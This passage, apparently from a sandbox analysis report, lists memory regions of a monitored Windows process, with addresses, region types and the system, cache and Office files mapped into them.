end_va = 0x2371fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002370000" filename = "" Region: id = 434 start_va = 0x23b0000 end_va = 0x23b3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 435 start_va = 0x23c0000 end_va = 0x23c0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{e23b5da4-e3a9-461b-8050-8e471867b572}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{E23B5DA4-E3A9-461B-8050-8E471867B572}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{e23b5da4-e3a9-461b-8050-8e471867b572}.2.ver0x0000000000000001.db") Region: id = 436 start_va = 0x23d0000 end_va = 0x23d3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 437 start_va = 0x23e0000 end_va = 0x23e0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{5c9e180f-34bb-4f92-8676-68c88e410c2b}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{5C9E180F-34BB-4F92-8676-68C88E410C2B}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{5c9e180f-34bb-4f92-8676-68c88e410c2b}.2.ver0x0000000000000001.db") Region: id = 438 start_va = 0x23f0000 end_va = 0x23f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 439 start_va = 0x2400000 end_va = 0x2401fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002400000" filename = "" Region: id = 440 start_va = 0x2410000 end_va = 0x2410fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 441 start_va = 0x2420000 end_va = 0x2420fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002420000" filename = "" Region: id = 442 start_va = 0x2430000 end_va = 0x2430fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002430000" filename = "" Region: id = 443 start_va = 0x2440000 end_va = 0x2441fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002440000" filename = "" Region: id = 444 start_va = 0x2450000 end_va = 0x2451fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002450000" filename = "" Region: id = 445 start_va = 0x2460000 end_va = 0x246ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 446 start_va = 0x2470000 end_va = 0x27a6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 447 start_va = 0x27b0000 end_va = 0x288ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 448 start_va = 0x2890000 end_va = 0x298ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 449 start_va = 0x2990000 end_va = 0x2a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002990000" filename = "" Region: id = 450 start_va = 0x2a10000 end_va = 0x2acbfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a10000" filename = "" Region: id = 451 start_va = 0x2ad0000 end_va = 0x2bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ad0000" filename = "" Region: id = 452 start_va = 0x2bd0000 end_va = 0x3c0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 453 start_va = 0x3c10000 end_va = 0x3c11fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 454 start_va = 0x3c20000 end_va = 0x3c20fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_256.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_256.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_256.db") Region: id = 455 start_va = 0x3c30000 end_va = 0x3c30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003c30000" filename = "" Region: id = 456 start_va = 0x3c50000 end_va = 0x3c57fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windows.storage.dll.mui" filename = "\\Windows\\System32\\en-US\\windows.storage.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\windows.storage.dll.mui") Region: id = 457 start_va = 0x3c60000 end_va = 0x3c61fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003c60000" filename = "" Region: id = 458 start_va = 0x3c70000 end_va = 0x3c70fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "counters.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat") Region: id = 459 start_va = 0x3c80000 end_va = 0x3c83fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 460 start_va = 0x3c90000 end_va = 0x3c90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c90000" filename = "" Region: id = 461 start_va = 0x3ca0000 end_va = 0x3ca0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ca0000" filename = "" Region: id = 462 start_va = 0x3cb0000 end_va = 0x3cb0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{0fa68fff-8d1f-4fcc-b2fc-0c8384cf8d69}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{0FA68FFF-8D1F-4FCC-B2FC-0C8384CF8D69}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{0fa68fff-8d1f-4fcc-b2fc-0c8384cf8d69}.2.ver0x0000000000000001.db") Region: id = 463 start_va = 0x3cc0000 end_va = 0x3dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003cc0000" filename = "" Region: id = 464 start_va = 0x3dc0000 end_va = 0x3dc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003dc0000" filename = "" Region: id = 465 start_va = 0x3dd0000 end_va = 0x3ddffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003dd0000" filename = "" Region: id = 466 start_va = 0x3de0000 end_va = 0x3deffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003de0000" filename = "" Region: id = 467 start_va = 0x3df0000 end_va = 0x3dfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003df0000" filename = "" Region: id = 468 start_va = 0x3e00000 end_va = 0x3e00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e00000" filename = "" Region: id = 469 start_va = 0x3e10000 end_va = 0x3e10fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e10000" filename = "" Region: id = 470 start_va = 0x3e20000 end_va = 0x3e20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e20000" filename = "" Region: id = 471 start_va = 0x3e30000 end_va = 0x3e33fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 472 start_va = 0x3e40000 end_va = 0x3e40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e40000" filename = "" Region: id = 473 start_va = 0x3e50000 end_va = 0x3e50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003e50000" filename = "" Region: id = 474 start_va = 0x3e60000 end_va = 0x3e60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e60000" filename = "" Region: id = 475 start_va = 0x3e70000 end_va = 0x3e71fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003e70000" filename = "" Region: id = 476 start_va = 0x3e80000 end_va = 0x3eb8fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003e80000" filename = "" Region: id = 477 start_va = 0x3ec0000 end_va = 0x3ec0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ec0000" filename = "" Region: id = 478 start_va = 0x3ed0000 end_va = 0x3ed0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ed0000" filename = "" Region: id = 479 start_va = 0x3ee0000 end_va = 0x3ee1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 480 start_va = 0x3ef0000 end_va = 0x3f37fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ef0000" filename = "" Region: id = 481 start_va = 0x3f50000 end_va = 0x3f51fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003f50000" filename = "" Region: id = 482 start_va = 0x3f60000 end_va = 0x3f63fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 483 start_va = 0x3f70000 end_va = 0x3fb4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000005.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db") Region: id = 484 start_va = 0x3fc0000 end_va = 0x3fc3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 485 start_va = 0x3fd0000 end_va = 0x405dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 486 start_va = 0x4060000 end_va = 0x40dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004060000" filename = "" Region: id = 487 start_va = 0x40e0000 end_va = 0x415ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000040e0000" filename = "" Region: id = 488 start_va = 0x4160000 end_va = 0x41dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004160000" filename = "" Region: id = 489 start_va = 0x41e0000 end_va = 0x41e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000041e0000" filename = "" Region: id = 490 start_va = 0x41f0000 end_va = 0x4238fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000041f0000" filename = "" Region: id = 491 start_va = 0x4240000 end_va = 0x4240fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml6r.dll" filename = "\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\windows\\system32\\msxml6r.dll") Region: id = 492 start_va = 0x4250000 end_va = 0x4250fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004250000" filename = "" Region: id = 493 start_va = 0x4260000 end_va = 0x4266fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004260000" filename = "" Region: id = 494 start_va = 0x4270000 end_va = 0x42effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004270000" filename = "" Region: id = 495 start_va = 0x42f0000 end_va = 0x42f3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 496 start_va = 0x4300000 end_va = 0x4300fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{3ec13d2a-c75f-4a0a-9855-0b415d40999c}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{3EC13D2A-C75F-4A0A-9855-0B415D40999C}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{3ec13d2a-c75f-4a0a-9855-0b415d40999c}.2.ver0x0000000000000001.db") Region: id = 497 start_va = 0x4310000 end_va = 0x4311fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004310000" filename = "" Region: id = 498 start_va = 0x4370000 end_va = 0x43effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004370000" filename = "" Region: id = 499 start_va = 0x43f0000 end_va = 0x48e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000043f0000" filename = "" Region: id = 500 start_va = 0x48f0000 end_va = 0x4aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000048f0000" filename = "" Region: id = 501 start_va = 0x4af0000 end_va = 0x4beffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004af0000" filename = "" Region: id = 502 start_va = 0x4bf0000 end_va = 0x4bf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004bf0000" filename = "" Region: id = 503 start_va = 0x4c00000 end_va = 0x4c00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c00000" filename = "" Region: id = 504 start_va = 0x4c10000 end_va = 0x4c1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c10000" filename = "" Region: id = 505 start_va = 0x4c20000 end_va = 0x4c20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c20000" filename = "" Region: id = 506 start_va = 0x4c30000 end_va = 0x4c34fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll" filename = "\\Windows\\System32\\winnlsres.dll" (normalized: "c:\\windows\\system32\\winnlsres.dll") Region: id = 507 start_va = 0x4c40000 end_va = 0x4c4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll.mui" filename = "\\Windows\\System32\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winnlsres.dll.mui") Region: id = 508 start_va = 0x4c60000 end_va = 0x4c63fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 509 start_va = 0x4c80000 end_va = 0x4d9cfff monitored = 0 entry_point = 0x4c81cc0 region_type = mapped_file name = "wscui.cpl" filename = "\\Windows\\System32\\wscui.cpl" (normalized: "c:\\windows\\system32\\wscui.cpl") Region: id = 510 start_va = 0x4df0000 end_va = 0x4e6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004df0000" filename = "" Region: id = 511 start_va = 0x4e70000 end_va = 0x566ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e70000" filename = "" Region: id = 512 start_va = 0x5670000 end_va = 0x5671fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005670000" filename = "" Region: id = 513 start_va = 0x5680000 end_va = 0x5681fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "inputswitch.dll.mui" filename = "\\Windows\\System32\\en-US\\InputSwitch.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\inputswitch.dll.mui") Region: id = 514 start_va = 0x5690000 end_va = 0x5690fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005690000" filename = "" Region: id = 515 start_va = 0x56a0000 end_va = 0x56a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000056a0000" filename = "" Region: id = 516 start_va = 0x56b0000 end_va = 0x56b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000056b0000" filename = "" Region: id = 517 start_va = 0x56c0000 end_va = 0x56c1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000056c0000" filename = "" Region: id = 518 start_va = 0x56d0000 end_va = 0x56d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000056d0000" filename = "" Region: id = 519 start_va = 0x56f0000 end_va = 0x57effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000056f0000" filename = "" Region: id = 520 start_va = 0x57f0000 end_va = 0x586ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000057f0000" filename = "" Region: id = 521 start_va = 0x5870000 end_va = 0x7bf1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "appdb.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Notifications\\appdb.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\notifications\\appdb.dat") Region: id = 522 start_va = 0x7c00000 end_va = 0x7c08fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007c00000" filename = "" Region: id = 523 start_va = 0x7c40000 end_va = 0x7c48fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007c40000" filename = "" Region: id = 524 start_va = 0x7c50000 end_va = 0x7c50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007c50000" filename = "" Region: id = 525 start_va = 0x7c60000 end_va = 0x7d5ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 526 start_va = 0x7d60000 end_va = 0x7d61fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007d60000" filename = "" Region: id = 527 start_va = 0x7d70000 end_va = 0x7db7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007d70000" filename = "" Region: id = 528 start_va = 0x7dc0000 end_va = 0x7dc1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007dc0000" filename = "" Region: id = 529 start_va = 0x7dd0000 end_va = 0x7dd1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 530 start_va = 0x7e00000 end_va = 0x7e01fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007e00000" filename = "" Region: id = 531 start_va = 0x7e10000 end_va = 0x7e10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netmsg.dll" filename = "\\Windows\\System32\\netmsg.dll" (normalized: "c:\\windows\\system32\\netmsg.dll") Region: id = 532 start_va = 0x7e20000 end_va = 0x7e21fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 533 start_va = 0x7e40000 end_va = 0x7e43fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bthprops.cpl.mui" filename = "\\Windows\\System32\\en-US\\bthprops.cpl.mui" (normalized: "c:\\windows\\system32\\en-us\\bthprops.cpl.mui") Region: id = 534 start_va = 0x7e50000 end_va = 0x7e51fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007e50000" filename = "" Region: id = 535 start_va = 0x7e60000 end_va = 0x7e60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007e60000" filename = "" Region: id = 536 start_va = 0x7e70000 end_va = 0x7e71fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007e70000" filename = "" Region: id = 537 start_va = 0x7e80000 end_va = 0x7ec7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007e80000" filename = "" Region: id = 538 start_va = 0x7ed0000 end_va = 0x7ed1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 539 start_va = 0x7ee0000 end_va = 0x7ee0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 540 start_va = 0x7f00000 end_va = 0x7f00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007f00000" filename = "" Region: id = 541 start_va = 0x7f90000 end_va = 0x800ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007f90000" filename = "" Region: id = 542 start_va = 0x8010000 end_va = 0x81c8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "office.odf" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 543 start_va = 0x81d0000 end_va = 0x824ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000081d0000" filename = "" Region: id = 544 start_va = 0x82d0000 end_va = 0x86cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000082d0000" filename = "" Region: id = 545 start_va = 0x86d0000 end_va = 0x87cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 546 start_va = 0x88b0000 end_va = 0x88bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000088b0000" filename = "" Region: id = 547 start_va = 0x88d0000 end_va = 0x894ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000088d0000" filename = "" Region: id = 548 start_va = 0x89d0000 end_va = 0x8a4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000089d0000" filename = "" Region: id = 549 start_va = 0x8a50000 end_va = 0x8b4ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_256.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db") Region: id = 550 start_va = 0x8bd0000 end_va = 0x8c4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008bd0000" filename = "" Region: id = 551 start_va = 0x8c50000 end_va = 0x8ccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008c50000" filename = "" Region: id = 552 start_va = 0x8cd0000 end_va = 0x8d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008cd0000" filename = "" Region: id = 553 start_va = 0x8d50000 end_va = 0x8dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008d50000" filename = "" Region: id = 554 start_va = 0x8dd0000 end_va = 0x8ecffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 555 start_va = 0x8ed0000 end_va = 0x8fcffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 556 start_va = 0x92d0000 end_va = 0x93cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_256.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db") Region: id = 557 start_va = 0x93d0000 end_va = 0x944ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000093d0000" filename = "" Region: id = 558 start_va = 0x94d0000 end_va = 0x954ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000094d0000" filename = "" Region: id = 559 start_va = 0x9550000 end_va = 0x95cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009550000" filename = "" Region: id = 560 start_va = 0x95d0000 end_va = 0x97cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000095d0000" filename = "" Region: id = 561 start_va = 0x97d0000 end_va = 0x984ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000097d0000" filename = "" Region: id = 562 start_va = 0x98d0000 end_va = 0x98d2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000098d0000" filename = "" Region: id = 563 start_va = 0x98e0000 end_va = 0x98e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000098e0000" filename = "" Region: id = 564 start_va = 0x98f0000 end_va = 0xa0effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000098f0000" filename = "" Region: id = 565 start_va = 0xa0f0000 end_va = 0xa2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a0f0000" filename = "" Region: id = 566 start_va = 0xa350000 end_va = 0xa3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a350000" filename = "" Region: id = 567 start_va = 0xa3d0000 end_va = 0xa44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a3d0000" filename = "" Region: id = 568 start_va = 0xa450000 end_va = 0xa4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a450000" filename = "" Region: id = 569 start_va = 0xa4d0000 end_va = 0xa5cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_256.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db") Region: id = 570 start_va = 0xa5d0000 end_va = 0xa64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a5d0000" filename = "" Region: id = 571 start_va = 0xa650000 end_va = 0xa6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a650000" filename = "" Region: id = 572 start_va = 0xa6d0000 end_va = 0xa74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a6d0000" filename = "" Region: id = 573 start_va = 0xa750000 end_va = 0xa7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a750000" filename = "" Region: id = 574 start_va = 0xa7d0000 end_va = 0xa8cffff monitored = 1 entry_point = 0x0 region_type = private name = 